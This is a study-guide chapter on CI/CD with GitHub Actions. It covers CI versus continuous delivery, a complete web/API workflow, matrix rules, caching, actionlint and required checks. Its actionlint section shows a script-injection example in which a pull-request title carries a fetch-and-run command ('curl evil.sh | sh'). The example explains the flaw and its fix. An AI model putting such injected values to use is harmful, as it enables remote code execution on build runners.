Tech Lead NotesRohit’s interview study guide
Chapter 05

CI/CD Pipelines

What continuous integration and delivery really mean, a complete GitHub Actions pipeline for a web UI and an API (matrix, caching, artefacts, service containers), quality gates and required checks, environments with approvals and deployment strategies, keeping pipelines fast and trusted, and the DORA metrics. Every workflow on this page passes actionlint 1.7.12, and every model ran on Node 26.

6 topics
Parts marked Advanced are extra depth. Skip them on a first read or a quick revision.

#What CI and CD actually mean

Added

Continuous integration (CI) is a team habit, not a tool: everyone merges their work into the shared main branch at least once a day, and every merge is checked by an automated build and test run. Martin Fowler's article "Continuous Integration" (revised 18 January 2024) defines it that way, and his list of practices includes "Everyone Pushes Commits To the Mainline Every Day", "Every Push to Mainline Should Trigger a Build" and "Fix Broken Builds Immediately" (after version control, build automation and self-testing builds). Having Jenkins or GitHub Actions installed is not CI; a team with a beautiful pipeline and two-week branches is doing something else.

Continuous delivery builds on that: main is always deployable, and any commit that passes the pipeline could go to production at the push of a button. Fowler's "ContinuousDelivery" bliki entry (30 May 2013) gives the test: a business sponsor could ask for the current development version to go live and nobody would panic. Continuous deployment goes one step further: every change that passes the pipeline goes to production automatically, with no human deciding. You need continuous delivery first; whether you then automate the final step is a business choice.

Continuous integrationContinuous deliveryContinuous deployment
What's automatedbuild and tests on every push to mainthe whole path to a production-ready artefact, plus a one-click deployeverything, including the production deploy
Who decides to release(not about releasing)a person or the business, any timenobody: every green commit ships
What main must beintegrated daily and greenalways deployablealways deployable, and deployed
Needs firsttests you trust, a fast buildCI, automated deploys, environments like productioncontinuous delivery, strong monitoring, fast rollback

The mental model: integration is a bill you pay either way. Every change someone else makes to code you're also changing is a cost: you have to understand it, merge it and retest. Integrating daily is paying that bill in small instalments while the details are fresh. Integrating every few weeks is a balloon payment: the same changes, all due at once, when nobody remembers why they were made. The model below makes that concrete.

integration-cost.mjs
// Six developers change a 40-file codebase for 20 working days; each merges into main every N days.
// At each merge, a "clash" is a file this branch changed that main also changed since the branch last synced.
// Seeded PRNG (mulberry32): every strategy gets exactly the same edits, only the merge rhythm changes.
function mulberry32(seed) {
  return () => {
    seed = (seed + 0x6d2b79f5) | 0;
    let t = Math.imul(seed ^ (seed >>> 15), 1 | seed);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const FILES = 40, DEVS = 6, DAYS = 20, EDITS_PER_DAY = 3;
const weights = Array.from({ length: FILES }, (_, i) => 1 / (i + 1)); // a few hot files (routes, shared types)
const total = weights.reduce((a, b) => a + b);
const pickFile = (rand) => {
  let r = rand() * total;
  for (let i = 0; i < FILES; i++) if ((r -= weights[i]) <= 0) return i;
  return FILES - 1;
};

function simulate(every) {
  const rand = mulberry32(42);
  const pending = Array.from({ length: DEVS }, () => new Map()); // file -> day this branch first changed it
  const mainSince = Array.from({ length: DEVS }, () => new Set()); // files main changed since this branch synced
  let merges = 0, clashes = 0, worst = 0, ageSum = 0;
  for (let day = 1; day <= DAYS; day++) {
    for (const branch of pending)
      for (let e = 0; e < EDITS_PER_DAY; e++) {
        const f = pickFile(rand);
        if (!branch.has(f)) branch.set(f, day);
      }
    if (day % every !== 0 && day !== DAYS) continue;
    for (let d = 0; d < DEVS; d++) {
      const clashing = [...pending[d]].filter(([f]) => mainSince[d].has(f));
      merges++;
      clashes += clashing.length;
      worst = Math.max(worst, clashing.length);
      for (const [, firstDay] of clashing) ageSum += day - firstDay + 1; // days the clashing edit waited
      for (let o = 0; o < DEVS; o++) if (o !== d) for (const f of pending[d].keys()) mainSince[o].add(f);
      pending[d].clear();
      mainSince[d].clear();
    }
  }
  return { merges, clashes, worst, age: ageSum / clashes };
}

console.log("merge every  merges  clashes/merge  worst merge  clash found after");
for (const every of [1, 5, 10, 20]) {
  const r = simulate(every);
  console.log(
    `${(every === 1 ? "day" : `${every} days`).padEnd(11)}  ${String(r.merges).padStart(6)}  ` +
      `${(r.clashes / r.merges).toFixed(1).padStart(13)}  ${String(r.worst).padStart(11)}  ${r.age.toFixed(1).padStart(10)} days`,
  );
}
Result
merge every  merges  clashes/merge  worst merge  clash found after
day             120            1.4            3         1.0 days
5 days           24            7.5           10         3.4 days
10 days          12           11.8           18         6.6 days
20 days           6           16.5           25        13.5 days
What’s happening
  1. Six developers make the same edits in every strategy (the PRNG is reseeded with 42 for each run): three file changes a day each, on a 40-file codebase where a few files are hot (file i is picked with weight 1/(i+1), like the router, the shared types and the API client in a real web app). Only the rhythm of merging changes.
  2. A clash is a file a branch changed that main also changed since the branch last synced. It's a proxy for a merge conflict or, worse, a silent semantic conflict that the tests have to catch. pending records the day each branch first touched a file; mainSince records what landed on main behind each branch's back.
  3. Merging every day: 120 small merges, 1.4 clashing files each, never more than 3, and each clash is found the day it was written (1.0 days). The developer still remembers the change, and the other person is one message away.
  4. Merging every 5, 10 or 20 days: the number of merges drops, but each one carries more clashes (7.5 → 11.8 → 16.5 on average, up to 25 in one merge), and a clash now surfaces 3.4, 6.6 or 13.5 days after the edit. That's the "merge week" before a release that every long-branch team knows.
  5. The total amount of overlapping work barely changes; what changes is batch size and delay. That's the whole argument for CI: you can't avoid integrating with colleagues, you can only choose to do it while it's small and fresh. The same idea drives trunk-based development (see Trunk-based development vs GitFlow).
AdvancedPull requests, feature branches and "semi-integration"

Fowler's 2024 revision is blunt that running a CI service on feature branches is not CI: the branch is being built, but it isn't being integrated with anyone else's work. He calls it "semi-integration". Pull requests are compatible with CI only when they're small and short-lived: open in the morning, reviewed and merged the same day (see Small pull requests and fast reviews).

The practices that make daily integration possible when a feature takes two weeks:

  • Hide work in progress instead of keeping it on a branch: a feature flag that's off in production, a route nobody links to yet, a new API version nobody calls yet. Fowler lists "Hide Work-in-Progress" as one of the core practices.
  • Branch by abstraction for large refactors: put an interface in front of the old implementation, build the new one behind it in small merged steps, switch over, delete the old one.
  • Expand and contract for database and API changes: add the new column or field, migrate readers and writers, then remove the old one, each step deployable on its own (see Environments, approvals and deployment strategies).

On a device platform there's a useful split. The web UI and the cloud or on-device API can usually move towards continuous deployment. Software that ships to devices in customers' rooms typically goes out as versioned releases through staged rollouts, so it stops at continuous delivery: every build is releasable, and a person decides when. That's a reasonable answer in an interview, as long as you say which part you mean.

AdvancedCI theatre
Is this team doing CI?

A team runs the full test suite on every push to every pull request. PRs usually stay open for six to nine days while features are finished, then merge after review. Main is green 95% of the time. Are they doing continuous integration?

Show answer

No. They're doing automated testing on branches, which is useful, but not continuous integration.

What’s happening
  1. Humble's first question: does everyone push to the shared mainline at least daily? Here, work reaches main every six to nine days, so the answer is no.
  2. The tests on each PR check the branch against main as it was when the branch was last updated. Two PRs that each pass can still break each other once both are merged, because neither was tested with the other.
  3. The integration-cost model above shows the consequence: with a batch of five to ten days, clashes surface days after the code was written, in bigger merges.
  4. What would make it CI: smaller PRs that merge within a day, unfinished features behind flags, and a merge queue or "require branches to be up to date" so each PR is tested with what's ahead of it.

#A GitHub Actions pipeline for a web UI and API

Added

A GitHub Actions workflow is a YAML file in .github/workflows/. It names the events that start it (pull_request, push, merge_group, schedule, workflow_dispatch…), and contains jobs. Each job runs on a fresh runner (a virtual machine GitHub provides, or one you host), and is a list of steps: shell commands (run:) or actions (uses:), reusable steps published in a repository, such as actions/checkout. Jobs run in parallel unless one needs another. Steps in the same job share a filesystem; jobs share nothing unless you pass it explicitly.

The mental model: every job gets its own empty, disposable kitchen. It starts with the oven (the OS image and its preinstalled tools) and nothing else: no code, no node_modules, no build output. Whatever one kitchen produces that another needs must be packed and shipped (an artefact). Whatever you want to avoid fetching again next time goes in the pantry (the cache), which survives between runs but may be empty. A matrix is the same recipe cooked in several kitchens at once with one ingredient changed.

The pipeline below is for a monorepo with two npm workspaces: web/ (a React or Angular single-page app built to web/dist/) and api/ (a Node REST API with a PostgreSQL database). It assumes these scripts in the workspaces' package.json files: lint (at the root), typecheck, test (unit tests, with --coverage support), test:integration and migrate in api, and build in web; and a playwright.config.ts whose webServer starts the API and serves web/dist/. The .nvmrc file says 26.

on: pull_request · push to main · merge_group Lint and type-check ESLint cache restored Unit tests ×4 web,api × 24,26 coverage artefacts API integration service: postgres:18 Build web UI needs: lint artefact web-dist kept 7 days E2E shard 1/2 Playwright E2E shard 2/2 Playwright CI OK if: always() required check
Solid arrows: needs and the artefact hand-off. Dashed: the other jobs CI OK waits for.
.github/workflows/ci.yml
name: CI

on:
  pull_request:
  push:
    branches: [main]
  merge_group:

permissions:
  contents: read

concurrency:
  group: ci-${{ github.event.pull_request.number || github.sha }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

jobs:
  lint:
    name: Lint and type-check
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci
      - uses: actions/cache@v6
        with:
          path: |
            .eslintcache
            */tsconfig.tsbuildinfo
          key: lint-${{ runner.os }}-${{ hashFiles('package-lock.json') }}-${{ github.sha }}
          restore-keys: lint-${{ runner.os }}-${{ hashFiles('package-lock.json') }}-
      - run: npm run lint -- --cache --cache-location .eslintcache
      - run: npm run typecheck --workspaces

  unit:
    name: Unit tests (${{ matrix.workspace }}, Node ${{ matrix.node }})
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    strategy:
      fail-fast: false
      matrix:
        workspace: [web, api]
        node: [24, 26]
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: ${{ matrix.node }}
          cache: npm
      - run: npm ci
      - run: npm test --workspace ${{ matrix.workspace }} -- --coverage
      - uses: actions/upload-artifact@v7
        if: matrix.node == 26
        with:
          name: coverage-${{ matrix.workspace }}
          path: ${{ matrix.workspace }}/coverage/
          retention-days: 7

  api-integration:
    name: API integration tests
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    services:
      postgres:
        image: postgres:18
        env:
          POSTGRES_PASSWORD: postgres
          POSTGRES_DB: devices_test
        ports:
          - 5432:5432
        options: >-
          --health-cmd "pg_isready -U postgres"
          --health-interval 5s
          --health-timeout 5s
          --health-retries 10
    env:
      DATABASE_URL: postgres://postgres:postgres@localhost:5432/devices_test
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci
      - run: npm run migrate --workspace api
      - run: npm run test:integration --workspace api

  build-web:
    name: Build web UI
    needs: lint
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci
      - run: npm run build --workspace web
      - uses: actions/upload-artifact@v7
        with:
          name: web-dist
          path: web/dist/
          if-no-files-found: error
          retention-days: 7

  e2e:
    name: E2E (shard ${{ matrix.shard }}/2)
    needs: build-web
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    services:
      postgres:
        image: postgres:18
        env:
          POSTGRES_PASSWORD: postgres
          POSTGRES_DB: devices_test
        ports:
          - 5432:5432
        options: >-
          --health-cmd "pg_isready -U postgres"
          --health-interval 5s
          --health-timeout 5s
          --health-retries 10
    env:
      DATABASE_URL: postgres://postgres:postgres@localhost:5432/devices_test
    strategy:
      fail-fast: false
      matrix:
        shard: [1, 2]
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci
      - uses: actions/download-artifact@v8
        with:
          name: web-dist
          path: web/dist/
      - run: npm run migrate --workspace api
      - run: npx playwright install --with-deps chromium
      - run: npx playwright test --grep-invert @quarantine --shard=${{ matrix.shard }}/2
      - uses: actions/upload-artifact@v7
        if: failure()
        with:
          name: playwright-report-${{ matrix.shard }}
          path: playwright-report/
          retention-days: 14

  ci-ok:
    name: CI OK
    if: always()
    needs: [lint, unit, api-integration, build-web, e2e]
    runs-on: ubuntu-24.04
    timeout-minutes: 2
    steps:
      - name: Fail if any required job failed or was cancelled
        if: contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')
        run: |
          echo "Results: ${{ join(needs.*.result, ', ') }}"
          exit 1
      - run: echo "All required jobs passed."
What’s happening
  1. Triggers and token. pull_request runs on every push to a PR, push to main re-checks what actually landed, and merge_group runs the checks for the merge queue (GitHub's troubleshooting page for required checks says a required workflow must listen to merge_group, or queued PRs never get their check). permissions: contents: read makes the job token read-only, so a compromised dependency in a test can't push code or create releases.
  2. Concurrency. The group is the PR number on pull requests and the commit SHA otherwise. On a PR, a new push cancels the run for the previous push (cancel-in-progress is true only for pull_request), so nobody waits behind a stale run. On main and in the merge queue every SHA is its own group, so every commit is checked and nothing is cancelled. Per the workflow syntax docs, a group allows one running and, by default, one pending run; a newer pending run replaces the older one.
  3. Lint and type-check runs first because it's the cheapest signal. setup-node with cache: npm restores npm's download cache (~/.npm, keyed on package-lock.json; it never caches node_modules), then npm ci installs exactly the lockfile. actions/cache adds an incremental cache for ESLint and TypeScript: the key ends in the commit SHA, so every run saves a fresh entry, and restore-keys restores the newest earlier entry with the same lockfile hash.
  4. Unit tests fan out with a matrix: workspace: [web, api] × node: [24, 26] makes four jobs, named from the name: template, for example "Unit tests (api, Node 24)". fail-fast: false lets the other three finish when one fails (the default true would cancel them, hiding whether the failure is Node-specific). Only the Node 26 jobs upload coverage, as coverage-web and coverage-api: artefact names must be unique within a run, because upload-artifact v4 and later make artefacts immutable.
  5. API integration tests run against a real PostgreSQL 18 in a service container: the runner starts postgres:18, maps port 5432 to the job's machine, and waits until the pg_isready health check passes before the first step runs. The tests talk to localhost:5432 through DATABASE_URL, after npm run migrate builds the schema the same way production does.
  6. Build once, test the build. build-web waits for lint (no point building code that fails lint), builds web/dist/ and uploads it as the web-dist artefact; if-no-files-found: error fails the job if the build silently produced nothing. Both E2E shards download that same artefact instead of rebuilding, run the migrations against their own PostgreSQL, install only Chromium and run half the Playwright suite each (--shard=1/2, --shard=2/2), leaving out tests tagged @quarantine (see Flaky tests). The report is uploaded only if: failure(), kept 14 days, for whoever has to debug it.
  7. CI OK is the only job you mark as required in the branch rules. if: always() makes it run even when jobs before it failed or were skipped; it fails if any needed job's result is failure or cancelled. Renaming or adding matrix jobs then never changes the required check's name. Every job has a timeout-minutes far below the 360-minute default, so a hung browser costs ten minutes, not six hours.
AdvancedHow this workflow was checked

This workflow passed actionlint 1.7.12 with no findings (it's checked again every time the site is validated). It hasn't been run on GitHub: the repository it describes doesn't exist. Every with: input was also checked against the action.yml of the exact major version used, because actionlint 1.7.12 has no input lists for the newest majors of checkout, setup-node, cache and dependency-review-action (see What actionlint catches, and what it doesn't).

AdvancedMatrix include and exclude, worked through

include and exclude are where matrix configs surprise people. The workflow syntax reference (docs.github.com, checked 27 October 2026) gives the rules: exclude removes combinations that match it (a partial match is enough); all include entries are processed after exclude; each include entry is merged into every combination where it doesn't overwrite an original matrix value, values added by an earlier include can be overwritten, and an entry that fits no combination becomes a new job. A matrix can produce at most 256 jobs per workflow run. This model implements those rules and checks them against the docs' own worked example (the fruit and animal matrix on the "Running variations of jobs in a workflow" page):

matrix-include.mjs
// How GitHub Actions expands strategy.matrix: the cross product, minus `exclude`, then each `include` entry is
// merged into every combination whose ORIGINAL values it doesn't overwrite; if it fits none, it becomes a new job.
function expand({ include = [], exclude = [], ...axes }) {
  let combos = [{}];
  for (const [key, values] of Object.entries(axes)) combos = combos.flatMap((c) => values.map((v) => ({ ...c, [key]: v })));
  combos = combos.filter((c) => !exclude.some((ex) => Object.entries(ex).every(([k, v]) => c[k] === v)));
  const originals = combos.map((c) => ({ ...c })); // values from the axes may never be overwritten
  const extra = [];
  for (const entry of include) {
    let fitted = false;
    combos.forEach((c, i) => {
      const fits = Object.entries(entry).every(([k, v]) => !(k in originals[i]) || originals[i][k] === v);
      if (fits) Object.assign(c, entry), (fitted = true); // added values (from earlier includes) can be overwritten
    });
    if (!fitted) extra.push({ ...entry });
  }
  return [...combos, ...extra];
}
const show = (combos) => combos.forEach((c) => console.log("  " + JSON.stringify(c).replace(/"/g, "")));

console.log("The example from the GitHub docs:");
show(expand({
  fruit: ["apple", "pear"],
  animal: ["cat", "dog"],
  include: [{ color: "green" }, { color: "pink", animal: "cat" }, { fruit: "apple", shape: "circle" }, { fruit: "banana" }, { fruit: "banana", animal: "cat" }],
}));

console.log("Our unit-test matrix with an extra job and one combination removed:");
show(expand({
  workspace: ["web", "api"],
  node: [24, 26],
  exclude: [{ workspace: "web", node: 24 }], // the web UI only ships on the .nvmrc version
  include: [{ coverage: true }, { node: 24, coverage: false }, { workspace: "api", node: 27, experimental: true }],
}));
Result
The example from the GitHub docs:
  {fruit:apple,animal:cat,color:pink,shape:circle}
  {fruit:apple,animal:dog,color:green,shape:circle}
  {fruit:pear,animal:cat,color:pink}
  {fruit:pear,animal:dog,color:green}
  {fruit:banana}
  {fruit:banana,animal:cat}
Our unit-test matrix with an extra job and one combination removed:
  {workspace:web,node:26,coverage:true}
  {workspace:api,node:24,coverage:false}
  {workspace:api,node:26,coverage:true}
  {workspace:api,node:27,experimental:true}
What’s happening
  1. expand first builds the cross product of the axes (fruit × animal gives four combinations), then drops anything matching an exclude entry, then applies include entries one by one. originals is a snapshot of each combination's axis values, the ones that may never be overwritten.
  2. The docs' example comes out exactly as the docs list it. { color: green } fits all four combinations (none has a color from the axes). { color: pink, animal: cat } fits only the two cat combinations, and it's allowed to overwrite green there because color was added by an include, not an axis.
  3. { fruit: apple, shape: circle } fits both apple combinations. { fruit: banana } fits nothing (every combination's original fruit is apple or pear), so it becomes its own job, and so does { fruit: banana, animal: cat }: six jobs from a four-job matrix.
  4. In our version, exclude drops web on Node 24, leaving three combinations. { coverage: true } is added to all three; { node: 24, coverage: false } fits only api on 24 and overwrites the included coverage. { workspace: api, node: 27, experimental: true } matches no original (node would change), so it's a fourth, separate job, which is how you'd add a job on the next Node line, often paired with continue-on-error: ${{ matrix.experimental == true }}.
  5. The practical rule: use include with only new keys to decorate combinations, and with axis values that don't exist to add jobs. Anything in between is hard to read; write the combinations out explicitly instead.
AdvancedCaches versus artefacts

Both store files outside the runner, and they're constantly confused. GitHub's docs say they "cannot be used interchangeably". A cache is a speed-up that may be missing; an artefact is a product you depend on.

Cache (actions/cache, setup-node cache:)Artefact (upload-artifact / download-artifact)
Purposereuse slow-to-fetch inputs between runs (npm downloads, lint caches)pass outputs between jobs, or keep them after the run (builds, reports, coverage)
If it's missingthe job is slower, but must still be correctthe job that needs it fails
Lifetimeremoved after 7 days without access; evicted oldest-access-first when the repository passes its limit (10 GB by default; admins can raise it)90 days by default; retention-days from 1 to 90, unless the repository setting allows more
Scopea run can restore caches from its own branch, the default branch and, for a PR, the base branch; never from sibling branchesthe run that made it (other runs and workflows need the API or run-id and a token)
Mutabilityimmutable: a key can't be overwritten, so incremental caches put the SHA in the keyimmutable since v4: a second upload with the same name fails unless overwrite: true

Sources: GitHub's "Dependency caching reference" and the actions/upload-artifact README, checked 27 October 2026. Two traps worth naming in a review: never cache node_modules (it ties the cache to an OS and Node version and skips npm ci's lockfile check; setup-node deliberately caches only the download cache), and don't bother caching Playwright's browsers: Playwright's CI guide says it's "not recommended" because restoring takes about as long as downloading, and the OS dependencies can't be cached anyway.

Caches are readable by anyone with read access to the repository, so they must never contain tokens. The setup-node README (v7, checked 27 October 2026) also recommends turning automatic caching off with package-manager-cache: false in workflows with elevated privileges; the deploy workflow later on this page does exactly that.

AdvancedThe action versions on this page

Major versions move faster than tutorials: most blog posts still show @v4. These are the versions this page uses, checked on GitHub's releases pages on 27 October 2026:

ActionMajor usedLatest releaseWhat changed in recent majors
actions/checkoutv7v7.0.1, 20 July 2026v5: Node 24 runtime (runner 2.327.1+). v6: credentials kept in a file under $RUNNER_TEMP, not .git/config. v7: refuses to check out a fork's PR code under pull_request_target or workflow_run unless allow-unsafe-pr-checkout: true
actions/setup-nodev7v7.1.0, 8 October 2026v5: automatic caching when package.json has a packageManager field. v6: automatic caching only for npm (via packageManager/devEngines). v7: ESM internals, dummy NODE_AUTH_TOKEN removed
actions/cachev6v6.1.0, 26 June 2026v5: Node 24 runtime. v6: ESM, dependency updates
actions/upload-artifactv7v7.0.2, 7 October 2026v6: Node 24. v7: archive: false uploads one file unzipped
actions/download-artifactv8v8.0.2, 7 October 2026v8: digest mismatch now fails by default; non-zip downloads aren't unzipped
github/codeql-actionv4v4.39.1 tag, October 2026the docs' examples use @v4
actions/dependency-review-actionv5v5.0.0, 8 May 2026v5: Node 24 runtime

Runner image: ubuntu-24.04 is pinned rather than ubuntu-latest (which also means 24.04 today), so an image upgrade (Ubuntu 26.04 runners are already listed in actions/runner-images) happens when the team chooses, in a PR, not on a random Tuesday. Node: 24 entered maintenance LTS on 20 October 2026 and Node 26 becomes LTS on 28 October 2026 (the Node.js release schedule), which is why the matrix tests both.

AdvancedWhat actionlint catches, and what it doesn't

actionlint is a static checker for workflow files: YAML structure, expression syntax and types, needs references, matrix properties, runner labels, shell scripts (through ShellCheck when it's installed) and a security rule for script injection. Run it in CI or a pre-commit hook. Here's a short workflow with three real mistakes and one that it misses:

PR checks with mistakes (not a workflow on this page)
name: PR checks
on:
  pull_request:
jobs:
  test:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@v7
      - run: echo "Testing ${{ github.event.pull_request.title }}"
      - run: npm test
  report:
    needs: tests
    runs-on: ubuntu-24.04
    if: ${{ github.event.pull_request.draft == 'false' }}
    steps:
      - run: echo "${{ matrix.node }}"
actionlint 1.7.12 output
.github/workflows/pr-label.yml:9:32: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]
  |
9 |       - run: echo "Testing ${{ github.event.pull_request.title }}"
  |                                ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.github/workflows/pr-label.yml:11:3: job "report" needs job "tests" which does not exist in this workflow [job-needs]
   |
11 |   report:
   |   ^~~~~~~
.github/workflows/pr-label.yml:16:24: property "node" is not defined in object type {} [expression]
   |
16 |       - run: echo "${{ matrix.node }}"
   |                        ^~~~~~~~~~~
What’s happening
  1. Line 9 pastes the PR title into a shell script. A title is attacker-controlled: one containing "; curl evil.sh | sh; echo " becomes part of the command. actionlint flags it as "potentially untrusted"; the fix is env: TITLE: ${{ github.event.pull_request.title }} and echo "Testing $TITLE", so the shell receives it as data.
  2. needs: tests refers to a job that doesn't exist (it's test). GitHub would reject the workflow when it runs; actionlint tells you in the editor.
  3. matrix.node in a job with no matrix: actionlint types the matrix context per job and knows it's empty here.
  4. What it didn't flag: github.event.pull_request.draft == 'false' compares a boolean with a string. GitHub's expression docs say mismatched types are coerced to numbers: false becomes 0 and 'false' becomes NaN, so the condition is never true and report never runs. Write !github.event.pull_request.draft.
  5. One more gap: actionlint 1.7.12's built-in input lists stop at actions/checkout@v6, actions/setup-node@v6, actions/cache@v5 and actions/dependency-review-action@v4 (it does know upload-artifact@v7, download-artifact@v8 and codeql-action@v4). A typo in an input to setup-node@v7 or checkout@v7 passes silently; allow-unsafe-pr-checkout passes on checkout@v7 and is rejected on @v6 and earlier, where the input really doesn't exist. (Checked by running actionlint 1.7.12 on a typo for each major.) The inputs on this page were checked separately against each action's real action.yml.
AdvancedPitfall: pull_request_target
What does this matrix run?
yaml
strategy:
  matrix:
    workspace: [web, api]
    node: [24, 26]
    exclude:
      - node: 24
    include:
      - workspace: web
        node: 24
Show answer

Three jobs: web on 26, api on 26, and web on 24.

What’s happening
  1. The cross product is four jobs: web/24, web/26, api/24, api/26.
  2. exclude: - node: 24 is a partial match, so it removes both Node 24 combinations, leaving web/26 and api/26.
  3. include is processed after exclude. { workspace: web, node: 24 } would have to overwrite the original node of both remaining combinations (26), so it fits neither and is added as a new job.
  4. Result: web/26, api/26, web/24. This "exclude broadly, include back" pattern is documented ("you can use include to add back combinations that were previously excluded") and is the readable way to say "everything on 26, plus web on 24".

#Quality gates in the pipeline

Added

A quality gate is a check a change must pass before it can move on: before it can merge, or before it can deploy. The pipeline only protects anything if the gates are enforced: GitHub's branch protection or a ruleset on main lists the required status checks, and the merge button stays disabled until they pass. A check that isn't required is a suggestion, and people learn to merge past red suggestions.

The mental model is airport security: cheap, fast checks first (boarding pass, bag scan), expensive ones only for what gets through, and no way to reach the gate except through the line. In a pipeline that means formatting, lint and types in seconds, unit tests in a minute or two, integration and security scans next, end-to-end tests last; and the branch rules are the walls that stop anyone walking around the line.

GateTypical toolBlocks merge?Notes
FormattingPrettier --checkyesnever argue about style in review (see Automating the boring parts)
LintESLint with --max-warnings=0yeswarnings that never fail grow forever
Typestsc --noEmityesthe cheapest bug-finder a TypeScript codebase has
Unit and integration testsVitest, Jest, node:test, Supertestyessee Testing Strategy
Coverage thresholdVitest/Istanbul thresholdsyes, as a floora floor against decay, not a target (see Coverage)
Dependency reviewactions/dependency-review-actionyes, for new high-severity CVEs or banned licencesonly judges what the PR adds
Static analysis (SAST)CodeQLyes for new high alertsslower; also runs weekly
E2EPlaywrightyes, if it's trustedquarantine flaky tests or it becomes noise
Human reviewCODEOWNERS + required approvalsyesthe gate machines can't replace

Which jobs you make required matters as much as which jobs exist. GitHub's documented behaviour (the "Troubleshooting required status checks" page, checked 27 October 2026) has three sharp edges: a job skipped by an if: condition reports success; jobs that depend on a failed job are skipped and "may not block merging"; and a workflow that doesn't run at all because of a path or branch filter leaves its checks pending, which blocks the PR forever. This model plays four pull requests against three ways of choosing required checks:

required-checks.mjs
// What a branch rule sees for four pull requests, under three ways of choosing required checks.
// GitHub's documented rules: a job skipped by `if` reports "success"; a workflow that never ran (path filter) leaves
// its checks "pending"; a required check name that no job reports any more waits forever.
const graph = { lint: [], unit: [], "build-web": ["lint"], e2e: ["build-web"] };

function runJobs({ failing = [], matrixNodes = [24, 26], skipByIf = false } = {}) {
  const result = {};
  for (const [job, needs] of Object.entries(graph)) {
    if (skipByIf || needs.some((n) => result[n] !== "success")) result[job] = "skipped"; // skipped, not failed
    else result[job] = failing.includes(job) ? "failure" : "success";
  }
  const checks = { "Lint and type-check": result.lint, "Build web UI": result["build-web"], "E2E": result.e2e };
  for (const n of matrixNodes) checks[`Unit tests (api, Node ${n})`] = result.unit;
  // The aggregator job: if: always(), needs every job, fails on any failure or cancellation.
  checks["CI OK"] = Object.values(result).some((r) => r === "failure" || r === "cancelled") ? "failure" : "success";
  return checks;
}
const scenarios = {
  "all green": runJobs(),
  "lint fails": runJobs({ failing: ["lint"] }),
  "matrix moved to Node 26 and 27": runJobs({ matrixNodes: [26, 27] }),
  "docs-only PR, workflow has paths-ignore": null, // the workflow never starts: no checks at all
  "docs-only PR, jobs skip themselves with if": runJobs({ skipByIf: true }),
};
const rules = {
  "every job by name": ["Lint and type-check", "Build web UI", "E2E", "Unit tests (api, Node 24)", "Unit tests (api, Node 26)"],
  "only E2E": ["E2E"],
  "only CI OK": ["CI OK"],
};
const state = (s) => (s === "skipped" ? "success" : s ?? "pending"); // how a skipped or missing check counts
function verdict(checks, required) {
  const states = required.map((name) => state(checks?.[name]));
  if (states.includes("failure")) return "blocked (red)";
  if (states.includes("pending")) return "stuck: waiting for a check";
  return "MERGEABLE";
}
for (const [name, checks] of Object.entries(scenarios)) {
  console.log(`${name}:`);
  for (const [rule, required] of Object.entries(rules)) console.log(`  ${rule.padEnd(18)} → ${verdict(checks, required)}`);
}
Result
all green:
  every job by name  → MERGEABLE
  only E2E           → MERGEABLE
  only CI OK         → MERGEABLE
lint fails:
  every job by name  → blocked (red)
  only E2E           → MERGEABLE
  only CI OK         → blocked (red)
matrix moved to Node 26 and 27:
  every job by name  → stuck: waiting for a check
  only E2E           → MERGEABLE
  only CI OK         → MERGEABLE
docs-only PR, workflow has paths-ignore:
  every job by name  → stuck: waiting for a check
  only E2E           → stuck: waiting for a check
  only CI OK         → stuck: waiting for a check
docs-only PR, jobs skip themselves with if:
  every job by name  → MERGEABLE
  only E2E           → MERGEABLE
  only CI OK         → MERGEABLE
What’s happening
  1. runJobs mimics the job graph of ci.yml in miniature: build-web needs lint, e2e needs build-web. When a job that another job needs didn't succeed, the dependent job is skipped, not failed, exactly as Actions does. The checks it reports are named the way the real ones would be, including the matrix names "Unit tests (api, Node 24)".
  2. state() encodes the documented rules: a skipped job's check counts as success, and a check that never reported is pending. verdict() is the branch rule: any red required check blocks, any pending one waits.
  3. Lint fails: requiring only "E2E" lets the PR merge, because E2E was skipped and skipped counts as success. That's the trap in the docs' "jobs that depend on a failed job" row. Requiring "CI OK" blocks it, because the aggregator looks at every result and finds a failure.
  4. Matrix moved to Node 26 and 27: requiring every job by name gets stuck: the rule still waits for "Unit tests (api, Node 24)", which no job reports any more, and someone has to edit the branch rules for an ordinary PR. "CI OK" never changes its name.
  5. Docs-only PR: if the workflow has paths-ignore: ['**.md'], it never starts, so every required check stays pending: the PR can't merge at all. If instead the workflow always starts and the jobs skip themselves with an if: (for example from a small "detect changes" job), everything reports success and the PR merges. So: put path logic inside the required workflow, never on its trigger.
  6. The conclusion is the pattern in ci.yml: one aggregator job, if: always(), needs: every gate, failing on failure or cancelled, as the only required check from that workflow.
AdvancedSecurity gates: a separate workflow

Security scans run on a different rhythm from tests (CodeQL also needs to rerun weekly as new queries ship, even when the code doesn't change), so they get their own workflow:

.github/workflows/security.yml
name: Security

on:
  pull_request:
  push:
    branches: [main]
  schedule:
    - cron: "17 3 * * 1"

permissions:
  contents: read

jobs:
  dependency-review:
    name: Dependency review
    if: github.event_name == 'pull_request'
    runs-on: ubuntu-24.04
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@v7
      - uses: actions/dependency-review-action@v5
        with:
          fail-on-severity: high
